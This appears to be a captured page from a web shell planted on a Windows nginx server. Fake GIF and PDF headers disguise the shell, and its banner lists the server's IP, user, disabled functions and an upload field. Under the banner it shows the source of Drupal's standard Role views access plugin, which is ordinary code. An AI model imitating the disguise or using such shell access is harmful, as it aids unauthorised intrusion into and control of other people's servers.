GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/user/src/Plugin/views/access/ |
Upload File : |
<?php namespace Drupal\user\Plugin\views\access; use Drupal\Core\Cache\Cache; use Drupal\Core\Cache\CacheableDependencyInterface; use Drupal\Core\Form\FormStateInterface; use Drupal\user\RoleStorageInterface; use Drupal\views\Plugin\views\access\AccessPluginBase; use Symfony\Component\DependencyInjection\ContainerInterface; use Symfony\Component\Routing\Route; use Drupal\Core\Session\AccountInterface; /** * Access plugin that provides role-based access control. * * @ingroup views_access_plugins * * @ViewsAccess( * id = "role", * title = @Translation("Role"), * help = @Translation("Access will be granted to users with any of the specified roles.") * ) */ class Role extends AccessPluginBase implements CacheableDependencyInterface { /** * {@inheritdoc} */ protected $usesOptions = TRUE; /** * The role storage. * * @var \Drupal\user\RoleStorageInterface */ protected $roleStorage; /** * Constructs a Role object. * * @param array $configuration * A configuration array containing information about the plugin instance. * @param string $plugin_id * The plugin_id for the plugin instance. * @param mixed $plugin_definition * The plugin implementation definition. * @param \Drupal\user\RoleStorageInterface $role_storage * The role storage. */ public function __construct(array $configuration, $plugin_id, $plugin_definition, RoleStorageInterface $role_storage) { parent::__construct($configuration, $plugin_id, $plugin_definition); $this->roleStorage = $role_storage; } /** * {@inheritdoc} */ public static function create(ContainerInterface $container, array $configuration, $plugin_id, $plugin_definition) { return new static( $configuration, $plugin_id, $plugin_definition, $container->get('entity.manager')->getStorage('user_role') ); } /** * {@inheritdoc} */ public function access(AccountInterface $account) { return array_intersect(array_filter($this->options['role']), $account->getRoles()); } /** * {@inheritdoc} */ public function alterRouteDefinition(Route $route) { if ($this->options['role']) { $route->setRequirement('_role', (string) implode('+', $this->options['role'])); } } public function summaryTitle() { $count = count($this->options['role']); if ($count < 1) { return $this->t('No role(s) selected'); } elseif ($count > 1) { return $this->t('Multiple roles'); } else { $rids = user_role_names(); $rid = reset($this->options['role']); return $rids[$rid]; } } protected function defineOptions() { $options = parent::defineOptions(); $options['role'] = ['default' => []]; return $options; } public function buildOptionsForm(&$form, FormStateInterface $form_state) { parent::buildOptionsForm($form, $form_state); $form['role'] = [ '#type' => 'checkboxes', '#title' => $this->t('Role'), '#default_value' => $this->options['role'], '#options' => array_map('\Drupal\Component\Utility\Html::escape', user_role_names()), '#description' => $this->t('Only the checked roles will be able to access this display.'), ]; } public function validateOptionsForm(&$form, FormStateInterface $form_state) { $role = $form_state->getValue(['access_options', 'role']); $role = array_filter($role); if (!$role) { $form_state->setError($form['role'], $this->t('You must select at least one role if type is "by role"')); } $form_state->setValue(['access_options', 'role'], $role); } /** * {@inheritdoc} */ public function calculateDependencies() { $dependencies = parent::calculateDependencies(); foreach (array_keys($this->options['role']) as $rid) { if ($role = $this->roleStorage->load($rid)) { $dependencies[$role->getConfigDependencyKey()][] = $role->getConfigDependencyName(); } } return $dependencies; } /** * {@inheritdoc} */ public function getCacheMaxAge() { return Cache::PERMANENT; } /** * {@inheritdoc} */ public function getCacheContexts() { return ['user.roles']; } /** * {@inheritdoc} */ public function getCacheTags() { return []; } }